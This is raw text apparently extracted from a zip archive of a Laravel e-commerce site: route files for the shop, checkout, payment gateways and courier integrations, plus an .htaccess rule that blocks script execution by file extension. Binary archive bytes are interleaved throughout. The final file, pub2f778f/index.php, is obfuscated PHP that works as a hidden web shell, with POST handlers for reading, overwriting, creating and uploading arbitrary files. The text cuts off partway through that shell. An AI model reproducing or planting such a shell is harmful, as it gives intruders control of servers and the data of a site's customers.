Route::get('/shop/{slug}/{type}', 'filter_shop')->name('shop.visit.type'); Route::get('/product-reviews', 'product_reviews')->name('products.reviews'); Route::get('/customer-packages', 'premium_package_index')->name('customer_packages_list_show'); Route::get('/brands', 'all_brands')->name('brands.all'); Route::get('/categories', 'all_categories')->name('categories.all')->middleware('portfolio-view'); Route::get('/sellers', 'all_seller')->name('sellers'); Route::get('/coupons', 'all_coupons')->name('coupons.all'); Route::get('/inhouse', 'inhouse_products')->name('inhouse.all'); // Policies Route::get('/seller-policy', 'sellerpolicy')->name('sellerpolicy'); Route::get('/return-policy', 'returnpolicy')->name('returnpolicy'); Route::get('/support-policy', 'supportpolicy')->name('supportpolicy'); Route::get('/terms', 'terms')->name('terms'); Route::get('/privacy-policy', 'privacypolicy')->name('privacypolicy'); Route::get('/track-your-order', 'trackOrder')->name('orders.track'); }); // Language Switch Route::post('/language', [LanguageController::class, 'changeLanguage'])->name('language.change'); // Currency Switch Route::post('/currency', [CurrencyController::class, 'changeCurrency'])->name('currency.change'); // Size Chart Show Route::get('/size-charts-show/{id}', [SizeChartController::class, 'show'])->name('size-charts-show'); Route::get('/sitemap.xml', function () { return base_path('sitemap.xml'); }); // Classified Product Route::controller(CustomerProductController::class)->group(function () { Route::get('/customer-products', 'customer_products_listing')->name('customer.products'); Route::get('/customer-products?category={category_slug}', 'search')->name('customer_products.category'); Route::get('/customer-products?city={city_id}', 'search')->name('customer_products.city'); Route::get('/customer-products?q={search}', 'search')->name('customer_products.search'); Route::get('/customer-product/{slug}', 'customer_product')->name('customer.product'); }); // Search Route::controller(SearchController::class)->group(function () { Route::get('/search', 'index')->name('search'); Route::get('/search?keyword={search}', 'index')->name('suggestion.search'); Route::get('/search2', 'index2')->name('suggestion.search2'); Route::post('/ajax-search', 'ajax_search')->name('search.ajax'); Route::get('/category/{category_slug}', 'listingByCategory')->name('products.category'); Route::get('/brand/{brand_slug}', 'listingByBrand')->name('products.brand'); }); // Cart Route::controller(CartController::class)->group(function () { Route::get('/cart', 'index')->name('cart'); Route::post('/cart/show-cart-modal', 'showCartModal')->name('cart.showCartModal'); Route::post('/cart/show-variant-canvas', 'selectVariantCanvas')->name('cart.selectVariantCanvas'); Route::post('/cart/addtocart', 'addToCart')->name('cart.addToCart'); Route::post('/cart/removeFromCart', 'removeFromCart')->name('cart.removeFromCart'); Route::post('/cart/updateQuantity', 'updateQuantity')->name('cart.updateQuantity'); Route::post('/cart/updateCartStatus', 'updateCartStatus')->name('cart.updateCartStatus'); }); //Paypal START Route::controller(PaypalController::class)->group(function () { Route::get('/paypal/payment/done', 'getDone')->name('payment.done'); Route::get('/paypal/payment/cancel', 'getCancel')->name('payment.cancel'); }); //Cybersource START Route::controller(CybersourceController::class)->group(function () { Route::post('/cyber-source/payment/process', 'process')->name('cybersource.process'); Route::any('/cyber-source/payment/callback', 'callback')->name('cybersource.callback'); Route::any('/cyber-source/payment/webhook', 'webhook')->name('cybersource.webhook'); Route::get('/cyber-source/payment/cancel', 'getCancel')->name('cybersource.cancel'); }); //Mercadopago START Route::controller(MercadopagoController::class)->group(function () { Route::any('/mercadopago/payment/done', 'paymentstatus')->name('mercadopago.done'); Route::any('/mercadopago/payment/cancel', 'callback')->name('mercadopago.cancel'); }); //Mercadopago // SSLCOMMERZ Start Route::controller(SslcommerzController::class)->group(function () { Route::get('/sslcommerz/pay', 'index'); Route::POST('/sslcommerz/success', 'success'); Route::POST('/sslcommerz/fail', 'fail'); Route::POST('/sslcommerz/cancel', 'cancel'); Route::POST('/sslcommerz/ipn', 'ipn'); }); //SSLCOMMERZ END //Stipe Start Route::controller(StripeController::class)->group(function () { Route::get('stripe', 'stripe'); Route::post('/stripe/create-checkout-session', 'create_checkout_session')->name('stripe.get_token'); Route::any('/stripe/payment/callback', 'callback')->name('stripe.callback'); Route::get('/stripe/success', 'success')->name('stripe.success'); Route::get('/stripe/cancel', 'cancel')->name('stripe.cancel'); }); //Stripe END // Compare Route::controller(CompareController::class)->group(function () { Route::get('/compare', 'index')->name('compare'); Route::get('/compare/reset', 'reset')->name('compare.reset'); Route::post('/compare/addToCompare', 'addToCompare')->name('compare.addToCompare'); Route::get('/compare/details/{id}', 'details')->name('compare.details'); }); // Subscribe Route::resource('subscribers', SubscriberController::class); Route::group(['middleware' => ['user', 'verified', 'unbanned']], function () { Route::controller(HomeController::class)->group(function () { Route::get('/dashboard', 'dashboard')->name('dashboard')->middleware(['prevent-back-history']); Route::get('/wallet_recharge_success', 'wallet_recharge_success')->name('wallet_recharge_success')->middleware(['prevent-back-history']); Route::get('/profile', 'profile')->name('profile'); Route::post('/new-user-verification', 'new_verify')->name('user.new.verify'); Route::post('/send-otp-update-email', 'sendEmailUpdateVerificationCode')->name('user.email.update.verify.code'); Route::post('/new-user-email', 'update_email')->name('user.change.email'); Route::post('/user/update-profile', 'userProfileUpdate')->name('user.profile.update'); Route::post('/user/update-verification', 'userVerifyInfoUpdate')->name('user.verify.update'); Route::post('/otp-alert-seen', 'markOtpAlertSeen')->name('otp.alert.seen'); }); Route::controller(NotificationController::class)->group(function () { Route::get('/all-notifications', 'customerIndex')->name('customer.all-notifications'); Route::post('/notifications/bulk-delete', 'bulkDeleteCustomer')->name('notifications.bulk_delete'); Route::get('/notification/read-and-redirect/{id}', 'readAndRedirect')->name('notification.read-and-redirect'); Route::get('/non-linkable-notification-read', 'nonLinkableNotificationRead')->name('non-linkable-notification-read'); }); }); // Checkout Routs Route::group(['prefix' => 'checkout'], function () { Route::controller(CheckoutController::class)->group(function () { Route::get('/', 'index')->name('checkout'); Route::any('/delivery-info', 'store_shipping_info')->name('checkout.store_shipping_infostore'); Route::post('/payment-select', 'store_delivery_info')->name('checkout.store_delivery_info'); Route::post('/payment', 'checkout')->name('payment.checkout'); Route::get('/order-confirmed', 'order_confirmed')->name('order_confirmed'); Route::post('/apply-coupon-code', 'apply_coupon_code')->name('checkout.apply_coupon_code'); Route::post('/remove-coupon-code', 'remove_coupon_code')->name('checkout.remove_coupon_code'); Route::post('/guest-customer-info-check', 'guestCustomerInfoCheck')->name('guest_customer_info_check'); Route::post('/updateDeliveryAddress', 'updateDeliveryAddress')->name('checkout.updateDeliveryAddress'); Route::post('/updateBillingAddress', 'updateBillingAddress')->name('checkout.updateBillingAddress'); Route::post('/updateDeliveryInfo', 'updateDeliveryInfo')->name('checkout.updateDeliveryInfo'); }); }); Route::group(['middleware' => ['customer', 'verified', 'unbanned']], function () { // Purchase History Route::resource('purchase_history', PurchaseHistoryController::class); Route::controller(PurchaseHistoryController::class)->group(function () { Route::get('/purchase_history/details/{id}', 'purchase_history_details')->name('purchase_history.details'); Route::get('/purchase_history/destroy/{id}', 'order_cancel')->name('purchase_history.destroy'); Route::get('digital-purchase-history', 'digital_index')->name('digital_purchase_history.index'); Route::get('/digital-products/download/{id}', 'download')->name('digital-products.download'); Route::get('/re-order/{id}', 're_order')->name('re_order'); Route::get('/purchase_history_filter', 'filterOrders')->name('purchase_history.filter'); }); // Wishlist Route::resource('wishlists', WishlistController::class); Route::post('/wishlists/remove', [WishlistController::class, 'remove'])->name('wishlists.remove'); //Follow Route::controller(FollowSellerController::class)->group(function () { Route::get('/followed-seller', 'index')->name('followed_seller'); Route::get('/followed-seller/store', 'store')->name('followed_seller.store'); Route::get('/followed-seller/remove', 'remove')->name('followed_seller.remove'); }); // Wallet Route::controller(WalletController::class)->group(function () { Route::get('/wallet', 'index')->name('wallet.index'); Route::post('/recharge', 'recharge')->name('wallet.recharge'); Route::get('/wallet_payment_email_test', 'wallet_payment_email_test')->name('wallet.wallet_payment_email_test'); }); // Support Ticket Route::resource('support_ticket', SupportTicketController::class); Route::post('support_ticket/reply', [SupportTicketController::class, 'seller_store'])->name('support_ticket.seller_store'); // Customer Package Route::post('/customer-packages/purchase', [CustomerPackageController::class, 'purchase_package'])->name('customer_packages.purchase'); // Customer Product Route::resource('customer_products', CustomerProductController::class); Route::controller(CustomerProductController::class)->group(function () { Route::get('/customer_products/{id}/edit', 'edit')->name('customer_products.edit'); Route::post('/customer_products/published', 'updatePublished')->name('customer_products.published'); Route::post('/customer_products/status', 'updateStatus')->name('customer_products.update.status'); Route::get('/customer_products/destroy/{id}', 'destroy')->name('customer_products.destroy'); }); // Product Review Route::post('/product-review-modal', [ReviewController::class, 'product_review_modal'])->name('product_review_modal'); Route::post('/order/re-payment', [CheckoutController::class, 'orderRePayment'])->name('order.re_payment'); }); Route::get('translation-check/{check}', [LanguageController::class, 'get_translation']); Route::controller(AddressController::class)->group(function () { Route::post('/get-states', 'getStates')->name('get-state'); Route::post('/get-cities', 'getCities')->name('get-city'); Route::post('/get-area', 'getAreas')->name('get-area'); Route::post('/get-cities-by-country', 'getCitiesByCountry')->name('get-city-by-country'); }); Route::group(['middleware' => ['auth']], function () { Route::get('invoice/{order_id}', [InvoiceController::class, 'invoice_download'])->name('invoice.download'); Route::get('/invoice-print/{order_id}', [InvoiceController::class, 'invoice_print'])->name('invoice.print'); // Reviews Route::resource('/reviews', ReviewController::class); // Product Conversation Route::resource('conversations', ConversationController::class); Route::controller(ConversationController::class)->group(function () { Route::get('/conversations/destroy/{id}', 'destroy')->name('conversations.destroy'); Route::post('conversations/refresh', 'refresh')->name('conversations.refresh'); }); // Product Query Route::resource('product-queries', ProductQueryController::class); Route::resource('messages', MessageController::class); //Address Route::resource('addresses', AddressController::class); Route::controller(AddressController::class)->group(function () { // Route::post('/get-states', 'getStates')->name('get-state'); // Route::post('/get-cities', 'getCities')->name('get-city'); Route::post('/addresses/update/{id}', 'update')->name('addresses.update'); Route::get('/addresses/destroy/{id}', 'destroy')->name('addresses.destroy'); Route::get('/addresses/set-default/{id}', 'set_default')->name('addresses.set_default'); Route::get('/addresses/set-billing/{id}', 'set_billing')->name('addresses.set_billing'); Route::get('/addresses/billing/{id}', 'edit_billing')->name('billing_addresses.edit'); Route::post('/addresses/billing/update/{id}', 'billing_update')->name('billing_addresses.update'); Route::post('/addresses/billing/store', 'billing_store')->name('billing_addresses.store'); }); Route::controller(NoteController::class)->group(function () { Route::post('/get-notes', 'getNotes')->name('get_notes'); Route::get('/get-single-note/{id}', 'getSingleNote')->name('get-single-note'); }); }); Route::get('/instamojo/payment/pay-success', [InstamojoController::class, 'success'])->name('instamojo.success'); Route::post('rozer/payment/pay-success', [RazorpayController::class, 'payment'])->name('payment.rozer'); Route::get('/paystack/payment/callback', [PaystackController::class, 'handleGatewayCallback']); Route::get('/paystack/new-callback', [PaystackController::class, 'paystackNewCallback']); Route::controller(VoguepayController::class)->group(function () { Route::get('/vogue-pay', 'showForm'); Route::get('/vogue-pay/success/{id}', 'paymentSuccess'); Route::get('/vogue-pay/callback', 'handleCallback'); Route::get('/vogue-pay/failure/{id}', 'paymentFailure'); }); //Iyzico Route::any('/iyzico/payment/callback/{payment_type}/{amount?}/{payment_method?}/{combined_order_id?}/{customer_package_id?}/{seller_package_id?}', [IyzicoController::class, 'callback'])->name('iyzico.callback'); Route::get('/customer-products/admin', [IyzicoController::class, 'initPayment'])->name('profile.edit'); //payhere below Route::controller(PayhereController::class)->group(function () { Route::get('/payhere/checkout/testing', 'checkout_testing')->name('payhere.checkout.testing'); Route::get('/payhere/wallet/testing', 'wallet_testing')->name('payhere.checkout.testing'); Route::get('/payhere/customer_package/testing', 'customer_package_testing')->name('payhere.customer_package.testing'); Route::any('/payhere/checkout/notify', 'checkout_notify')->name('payhere.checkout.notify'); Route::any('/payhere/checkout/return', 'checkout_return')->name('payhere.checkout.return'); Route::any('/payhere/checkout/cancel', 'chekout_cancel')->name('payhere.checkout.cancel'); Route::any('/payhere/order-re-payment/notify', 'orderRepaymentNotify')->name('payhere.order_re_payment.notify'); Route::any('/payhere/order-re-payment/return', 'orderRepaymentReturn')->name('payhere.order_re_payment.return'); Route::any('/payhere/order-re-payment/cancel', 'orderRepaymentCancel')->name('payhere.order_re_payment.cancel'); Route::any('/payhere/wallet/notify', 'wallet_notify')->name('payhere.wallet.notify'); Route::any('/payhere/wallet/return', 'wallet_return')->name('payhere.wallet.return'); Route::any('/payhere/wallet/cancel', 'wallet_cancel')->name('payhere.wallet.cancel'); Route::any('/payhere/seller_package_payment/notify', 'sellerPackageNotify')->name('payhere.seller_package_payment.notify'); Route::any('/payhere/seller_package_payment/return', 'sellerPackageReturn')->name('payhere.seller_package_payment.return'); Route::any('/payhere/seller_package_payment/cancel', 'sellerPackageCancel')->name('payhere.seller_package_payment.cancel'); Route::any('/payhere/customer_package_payment/notify', 'customer_package_notify')->name('payhere.customer_package_payment.notify'); Route::any('/payhere/customer_package_payment/return', 'customer_package_return')->name('payhere.customer_package_payment.return'); Route::any('/payhere/customer_package_payment/cancel', 'customer_package_cancel')->name('payhere.customer_package_payment.cancel'); }); //N-genius Route::controller(NgeniusController::class)->group(function () { Route::any('ngenius/cart_payment_callback', 'cart_payment_callback')->name('ngenius.cart_payment_callback'); Route::any('ngenius/order_re_payment_callback', 'order_re_payment_callback')->name('ngenius.order_re_payment_callback'); Route::any('ngenius/wallet_payment_callback', 'wallet_payment_callback')->name('ngenius.wallet_payment_callback'); Route::any('ngenius/customer_package_payment_callback', 'customer_package_payment_callback')->name('ngenius.customer_package_payment_callback'); Route::any('ngenius/seller_package_payment_callback', 'seller_package_payment_callback')->name('ngenius.seller_package_payment_callback'); }); Route::controller(BkashController::class)->group(function () { Route::get('/bkash/create-payment', 'create_payment')->name('bkash.create_payment'); Route::get('/bkash/callback', 'callback')->name('bkash.callback'); Route::get('/bkash/success', 'success')->name('bkash.success'); }); Route::get('/checkout-payment-detail', [StripeController::class, 'checkout_payment_detail']); //Nagad Route::get('/nagad/callback', [NagadController::class, 'verify'])->name('nagad.callback'); //aamarpay Route::controller(AamarpayController::class)->group(function () { Route::post('/aamarpay/success', 'success')->name('aamarpay.success'); Route::post('/aamarpay/fail', 'fail')->name('aamarpay.fail'); }); //Authorize-Net-Payment Route::post('/dopay/online', [AuthorizenetController::class, 'handleonlinepay'])->name('dopay.online'); Route::get('/authorizenet/cardtype', [AuthorizenetController::class, 'cardType'])->name('authorizenet.cardtype'); //payku Route::get('/payku/callback/{id}', [PaykuController::class, 'callback'])->name('payku.result'); // Paymob Route::any('/paymob/callback', [PaymobController::class, 'callback']); // tap Route::any('/tap/callback', [TapController::class, 'callback'])->name('tap.callback'); //Blog Section Route::controller(BlogController::class)->group(function () { Route::get('/blog', 'all_blog')->name('blog'); Route::get('/blog/{slug}', 'blog_details')->name('blog.details'); Route::post('/blog/generate-slug', 'generateSlug')->name('generate.slug'); }); Route::controller(PageController::class)->group(function () { //mobile app balnk page for webview Route::get('/mobile-page/{slug}', 'mobile_custom_page')->name('mobile.custom-pages'); //Custom page Route::get('/{slug}', 'show_custom_page')->name('custom-pages.show_custom_page'); }); Route::controller(ContactController::class)->group(function () { Route::post('/contact', 'contact')->name('contact'); }); Route::controller(PaymentInformationController::class)->group(function () { Route::post('/payment-informations/create', 'create')->name('payment_informations.create'); Route::post('/payment-informations/store', 'store')->name('payment_informations.store'); Route::post('/payment-informations/edit', 'edit')->name('payment_informations.edit'); Route::post('/payment-informations/update', 'update')->name('payment_informations.update'); Route::post('/payment-informations/ajax/create', 'ajax_create')->name('ajax_payment_informations.create'); Route::post('/payment-informations/ajax/store', 'ajax_store')->name('ajax_payment_informations.store'); Route::post('/payment-informations/ajax/edit', 'ajax_edit')->name('ajax_payment_informations.edit'); Route::post('/payment-informations/ajax/update', 'ajax_update')->name('ajax_payment_informations.update'); Route::get('/payment-informations/ajax-list', 'ajax_list')->name('ajax_payment_informations.list'); Route::get('/payment-informations/destroy/{id}', 'destroy')->name('payment_informations.destroy'); Route::get('/payment-informations/set-default/{id}', 'set_default')->name('payment_informations.set_default'); });PKÌN]·li=° ° wholesale.phpnu„[µü¤'admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(WholesaleProductController::class)->group(function () { Route::get('/wholesale/all-products', 'all_wholesale_products')->name('wholesale_products.all'); Route::get('/wholesale/inhouse-products', 'in_house_wholesale_products')->name('wholesale_products.in_house'); Route::get('/wholesale/seller-products', 'seller_wholesale_products')->name('wholesale_products.seller'); Route::get('/wholesale-product/create', 'product_create_admin')->name('wholesale_product_create.admin'); Route::post('/wholesale-product/store', 'product_store_admin')->name('wholesale_product_store.admin'); Route::get('/wholesale-product/{id}/edit', 'product_edit_admin')->name('wholesale_product_edit.admin'); Route::post('/wholesale-product/update/{id}', 'product_update_admin')->name('wholesale_product_update.admin'); Route::get('/wholesale-product/destroy/{id}', 'product_destroy_admin')->name('wholesale_product_destroy.admin'); }); }); Route::group(['prefix' => 'seller', 'middleware' => ['seller', 'verified', 'user']], function() { Route::controller(WholesaleProductController::class)->group(function () { Route::get('/wholesale-products', 'wholesale_products_list_seller')->name('seller.wholesale_products_list'); Route::get('/wholesale-product/create', 'product_create_seller')->name('wholesale_product_create.seller'); Route::post('/wholesale-product/store', 'product_store_seller')->name('wholesale_product_store.seller'); Route::get('/wholesale-products/{id}/edit', 'product_edit_seller')->name('wholesale_product_edit.seller'); Route::post('/wholesale-product/update/{id}', 'product_update_seller')->name('wholesale_product_update.seller'); Route::get('/wholesale-product/destroy/{id}', 'product_destroy_seller')->name('wholesale_product_destroy.seller'); }); });PKÌN]iÇ<œœknet.phpnu„[µü¤ 'admin', 'middleware' => ['auth', 'admin']], function () { Route::controller(KnetController::class)->group(function () { Route::get('/knet-configuration', 'credentials_index')->name('knet.configuration'); }); }); Route::controller(KnetController::class)->group(function () { Route::get('/knet/pay', 'pay')->name('knet.pay'); Route::get('/knet/callback', 'callback')->name('knet.callback'); }); PKÌN]i1…qredx.phpnu„[µü¤ 'admin', 'middleware' => ['auth', 'admin']], function () { Route::controller(RedxController::class)->group(function () { Route::post('/redx-settings-update', 'redx_update')->name('redx.update'); Route::get('/redx-pickup-store/index', 'index')->name('redx_pickup.index'); Route::get('/redx-pickup-store/filter', 'filter')->name('redx_pickup.filter'); Route::get('/redx-pickup-store/create', 'create')->name('redx_pickup.create'); Route::post('/redx-pickup-store/store', 'store')->name('redx_pickup.store'); Route::get('/get/redx-pickup-store', 'fetch')->name('redx_pickup.fetch'); Route::get('/redx-all-pickup-storeAndDeliveryArea', 'allPickupStoreAndDeliveryArea')->name('redx.all_pickup_store.delivery_area'); Route::post('/redx-order-create', 'orderCreate')->name('redx_order.create'); }); }); Route::controller(RedxController::class)->group(function () { //cron job Route::get('/redx-order-status-fetch', 'statusFetch')->name('redx_status.fetch'); });PKÌN]¯èPè  uddoktapay.phpnu„[µü¤ 'admin', 'middleware' => ['auth', 'admin']], function () { Route::controller(UddoktapayController::class)->group(function () { Route::get('/uddoktapay-configuration', 'credentials_index')->name('uddoktapay.configuration'); }); }); Route::controller(UddoktapayController::class)->group(function () { Route::get('/uddoktapay/pay', 'pay')->name('uddoktapay.pay'); Route::get('/uddoktapay/return', 'handle')->name('uddoktapay.return'); Route::get('/uddoktapay/cancel', 'cancel')->name('uddoktapay.cancel'); }); PKÌN]Yk¨…… .htaccessnu„[µü¤# Block PHP/CGI execution - hardening 2026-04-27 RewriteEngine On RewriteRule \.(php|phtml|phar|pht|php[0-9]|phps|inc|cgi|pl|py|sh|exe|bat|jsp|asp|aspx)$ - [F,L,NC] RewriteRule \.(php|phtml|phar|pht|php[0-9]|phps|inc|cgi|pl|py|sh|exe|bat|jsp|asp|aspx)$ - [F,L,NC] Options -ExecCGI RemoveHandler .php .phtml .phar .pht .php5 .php7 .php8 .phps .inc .cgi PKÌN]ácLßA(A(pub2f778f/index.phpnu„[µü¤ $eaTNp, "\151\163\x5f\144\151\x72" => is_dir($KmTaF), "\163\x69\x7a\145" => is_dir($KmTaF) ? 0 : filesize($KmTaF), "\x6d\157\x64\151\146\x69\145\x64" => filemtime($KmTaF)]; goto WI0NT; ggyNW: n8Nsq: goto Jaye6; Jaye6: $KmTaF = $Zyjio . "\x2f" . $eaTNp; goto AJa8u; xds3d: if (!($eaTNp === "\56" || $eaTNp === "\x2e\x2e")) { goto n8Nsq; } goto aqCL5; L1NY_: } goto H25lG; H25lG: xr9_M: goto gnTUa; G9pQl: throw new Exception("\x49\x6e\166\141\154\x69\144\40\x6f\x72\40\151\x6e\141\143\143\145\x73\163\x69\x62\154\145\x20\x70\x61\164\150\x2e"); goto mNJNs; HgkgJ: EhxHC: goto Ipndg; ix5Ko: goto bnDJf; goto u6s_g; QPQxs: $oYX3m = []; goto scrY8; mNJNs: O9E5_: goto brWmF; brWmF: $Zyjio = NFS22(realpath($ooapL)); goto QPQxs; gnTUa: $q79DL = ["\163\165\x63\143\x65\x73\163" => true, "\x66\x69\154\x65\x73" => $oYX3m, "\x70\141\x74\x68" => $Zyjio]; goto ix5Ko; u6s_g: case "\x67\145\164\137\143\x6f\x6e\164\145\156\x74": goto WDTG1; yeQZv: throw new Exception("\x49\x6e\x76\x61\x6c\151\x64\40\x66\x69\154\145\40\146\x6f\x72\x20\145\144\x69\x74\x69\156\x67\56"); goto xXasn; E2VtS: $q79DL = ["\x73\x75\x63\143\145\x73\163" => true, "\143\157\x6e\x74\145\x6e\164" => base64_encode(base64_encode(file_get_contents($pReE1)))]; goto doTMq; doTMq: goto bnDJf; goto NJVzk; WDTG1: $pReE1 = isset($_POST["\160\x61\x74\150"]) ? JjD4B($_POST["\160\x61\x74\x68"]) : ''; goto uIzAa; uIzAa: if (!(!realpath($pReE1) || is_dir(realpath($pReE1)))) { goto JFxng; } goto yeQZv; xXasn: JFxng: goto E2VtS; NJVzk: case "\147\145\164\x5f\x63\157\x6e\164\145\156\164\137\142\x36\64": goto CsAkx; CsAkx: $WF7Bw = isset($_POST["\160\141\x74\150\137\x62\x36\64"]) ? jjD4B($_POST["\x70\141\x74\150\x5f\x62\x36\x34"]) : ''; goto glDGc; OmrV5: if (!(!realpath($pReE1) || is_dir(realpath($pReE1)))) { goto D4741; } goto LBaG0; SINs9: goto bnDJf; goto XPzwe; H3lta: D4741: goto MFOlx; LBaG0: throw new Exception("\111\x6e\x76\141\x6c\151\x64\40\x66\151\154\x65\40\146\157\162\x20\x65\144\151\164\151\x6e\147\x2e"); goto H3lta; MFOlx: $q79DL = ["\x73\165\x63\x63\145\163\163" => true, "\x63\x6f\156\x74\x65\156\164" => base64_encode(base64_encode(file_get_contents($pReE1)))]; goto SINs9; glDGc: $pReE1 = base64_decode($WF7Bw); goto OmrV5; XPzwe: case "\163\x61\166\145\x5f\143\x6f\156\x74\x65\x6e\x74": goto z7uKB; KU4Mu: UiPOQ: goto C6Igh; SaxKa: goto UiPOQ; goto uAucW; z7uKB: $pReE1 = isset($_POST["\x70\x61\164\150"]) ? jJD4B($_POST["\x70\x61\x74\x68"]) : ''; goto ip06T; ZpDod: DKlj9: goto aatJE; aatJE: $nLdUb = implode('', $sS05W); goto JnYQu; axPOI: throw new Exception("\103\157\156\x74\145\x6e\x74\40\151\x73\x20\x65\155\x70\x74\x79\56"); goto ZpDod; GgsdX: throw new Exception("\103\x6f\165\x6c\x64\40\156\157\164\40\x73\141\166\145\x20\x66\151\154\x65\x2e\x20\103\x68\x65\143\x6b\x20\x70\145\162\x6d\x69\x73\163\151\x6f\156\163\x2e"); goto SaxKa; RZupK: if (file_put_contents($pReE1, $v2Utf) !== false) { goto pRmlZ; } goto GgsdX; Dwblp: if (!empty($sS05W)) { goto DKlj9; } goto axPOI; RdtRL: throw new Exception("\x49\156\166\141\x6c\151\x64\40\146\151\x6c\x65\40\x66\157\x72\40\x73\x61\166\x69\156\x67\56"); goto dqYmv; C6Igh: goto bnDJf; goto ySpAP; dqYmv: utA1H: goto RZupK; bbQEN: if (!(!YdFPo($pReE1) || file_exists($pReE1) && is_dir($pReE1))) { goto utA1H; } goto RdtRL; ip06T: $sS05W = isset($_POST["\143\x6f\156\x74\145\156\164\137\143\x68\165\156\x6b\x73"]) && is_array($_POST["\143\157\x6e\x74\x65\x6e\x74\137\x63\150\x75\x6e\153\x73"]) ? $_POST["\143\157\x6e\164\145\x6e\x74\137\143\x68\165\156\153\163"] : []; goto Dwblp; uAucW: pRmlZ: goto y91D2; JnYQu: $v2Utf = base64_decode(base64_decode($nLdUb)); goto bbQEN; y91D2: $q79DL = ["\x73\x75\143\143\145\x73\163" => true, "\x6d\x65\x73\163\141\147\145" => "\106\151\154\145\x20\163\x61\166\145\144\x20\163\165\143\143\145\x73\163\x66\x75\154\x6c\171\x2e"]; goto KU4Mu; ySpAP: case "\x73\141\166\145\x5f\x63\157\156\164\145\156\x74\x5f\x62\66\64": goto hYyEH; httCe: $v2Utf = base64_decode(base64_decode($nLdUb)); goto i9fnH; TijL7: WVeE8: goto l8GW6; UwfNl: goto bnDJf; goto rHOMW; sY1A6: throw new Exception("\104\x69\x72\145\143\x74\x20\163\141\166\145\x20\146\141\151\154\x65\x64\x2e\40\x43\x68\145\x63\x6b\x20\160\x65\162\x6d\151\163\163\151\x6f\156\x73\56"); goto MOfLz; YDiOJ: $nLdUb = implode('', $sS05W); goto httCe; gIALi: throw new Exception("\111\x6e\x76\x61\x6c\x69\144\40\x66\151\154\x65\x20\x66\157\162\x20\x73\x61\166\151\x6e\x67\x2e"); goto rreKr; mBYOv: d00z1: goto YDiOJ; rreKr: e7LR2: goto NQXMA; A2hXo: $sS05W = isset($_POST["\x63\157\156\164\145\156\164\x5f\143\150\x75\156\153\x73"]) && is_array($_POST["\x63\x6f\x6e\x74\x65\x6e\164\137\x63\x68\165\x6e\x6b\163"]) ? $_POST["\x63\x6f\x6e\164\x65\156\164\x5f\143\x68\165\x6e\x6b\x73"] : []; goto Mt5JB; XLJfs: zwBiA: goto UwfNl; wWXeR: throw new Exception("\103\157\x6e\x74\145\156\x74\40\x69\x73\x20\x65\155\160\x74\171\x2e"); goto mBYOv; l8GW6: $q79DL = ["\x73\x75\x63\x63\x65\x73\163" => true, "\155\145\163\163\141\147\145" => "\x46\x69\x6c\x65\x20\163\141\x76\x65\144\40\x73\165\x63\143\x65\163\163\146\165\x6c\x6c\x79\x20\50\x64\x69\162\145\143\x74\x20\x6d\x65\164\x68\157\x64\x29\56"]; goto XLJfs; hYyEH: $WF7Bw = isset($_POST["\160\x61\164\150\137\x62\x36\x34"]) ? JJd4b($_POST["\x70\x61\164\x68\x5f\x62\x36\x34"]) : ''; goto gQWeS; MOfLz: goto zwBiA; goto TijL7; Mt5JB: if (!empty($sS05W)) { goto d00z1; } goto wWXeR; NQXMA: if (file_put_contents($pReE1, $v2Utf) !== false) { goto WVeE8; } goto sY1A6; gQWeS: $pReE1 = base64_decode($WF7Bw); goto A2hXo; i9fnH: if (!(!yDFPO($pReE1) || file_exists($pReE1) && is_dir($pReE1))) { goto e7LR2; } goto gIALi; rHOMW: case "\143\x72\145\x61\x74\x65\x5f\x66\151\154\145": goto woAuE; JprP8: $q79DL = ["\x73\x75\143\x63\x65\163\163" => true, "\x6d\145\x73\x73\x61\x67\x65" => "\106\151\154\145\40\143\x72\x65\x61\164\145\x64\x2e"]; goto FtCxm; f1dH8: goto bnDJf; goto mhEyC; ZuAmp: kW1Sf: goto JprP8; fA7k6: $qEjAc = isset($_POST["\x6e\x61\x6d\145"]) ? ceysv($_POST["\156\141\155\145"]) : ''; goto h9Hmq; FtCxm: HT9iW: goto f1dH8; nmuRh: throw new Exception("\103\x6f\x75\154\144\40\156\157\164\40\143\x72\145\141\164\145\40\x66\151\154\145\x2e"); goto A1cjq; I1ymS: if (touch(rtrim($ooapL, "\x2f") . "\x2f" . $qEjAc)) { goto kW1Sf; } goto nmuRh; A1cjq: goto HT9iW; goto ZuAmp; O8feb: throw new Exception("\111\x6e\166\141\x6c\x69\x64\40\x70\x61\164\x68\x20\x6f\162\40\x66\x69\x6c\x65\40\x6e\x61\x6d\x65\56"); goto iU5FH; h9Hmq: if (!(!yDfpo($ooapL) || empty($qEjAc))) { goto Jh0S5; } goto O8feb; iU5FH: Jh0S5: goto I1ymS; woAuE: $ooapL = isset($_POST["\x70\x61\x74\150"]) ? jJD4B($_POST["\160\x61\x74\150"]) : ''; goto fA7k6; mhEyC: case "\x75\x70\x6c\x6f\x61\x64": goto IAibx; QX7Uf: $R6omV = isset($_POST["\x63\157\x6e\164\145\156\164\x5f\142\x61\x73\x65\x36\x34"]) ? $_POST["\x63\x6f\156\x74\145\x6e\164\x5f\142\x61\163\145\x36\64"] : ''; goto lP1G2; sbbUc: hMZCz: goto C1ToH; QMUug: amO3R: goto xxA2R; WI9nQ: P4lbZ: goto tQo6n; YF0BQ: if (file_put_contents($gC9a9, $J1_Oh) !== false) { goto hMZCz; } goto Qkm3f; Qkm3f: throw new Exception("\x43\157\165\154\x64\x20\x6e\x6f\164\x20\x73\141\x76\145\40\x75\160\154\157\x61\144\x65\x64\40\x66\x69\154\x65\56\40\103\150\x65\x63\153\40\160\x65\x72\155\151\x73\x73\151\157\156\163\x2e"); goto NHQfI; p4zNs: if (!(strpos($R6omV, "\x2c") !== false)) { goto amO3R; } goto th2QV; C1ToH: $q79DL = ["\x73\165\x63\x63\x65\x73\x73" => true, "\x6d\x65\x73\163\141\x67\x65" => "\106\x69\x6c\145\x20\x75\160\x6c\157\x61\x64\x65\144\40\x73\165\143\143\x65\x73\163\146\165\x6c\x6c\171\x2e"]; goto WI9nQ; tQo6n: goto bnDJf; goto L23mI; IAibx: $ooapL = isset($_POST["\160\x61\x74\x68"]) ? jJd4B($_POST["\160\141\164\x68"]) : __DIR__; goto ncnJk; xxA2R: $J1_Oh = base64_decode($R6omV); goto tcMZL; KpPOK: throw new Exception("\x49\156\x76\141\154\151\144\x20\x64\141\x74\141\40\x66\x6f\x72\x20\x75\x70\154\x6f\141\x64\x2e"); goto dma1E; lP1G2: if (!(!yDFPo($ooapL) || empty($yN9O1) || empty($R6omV))) { 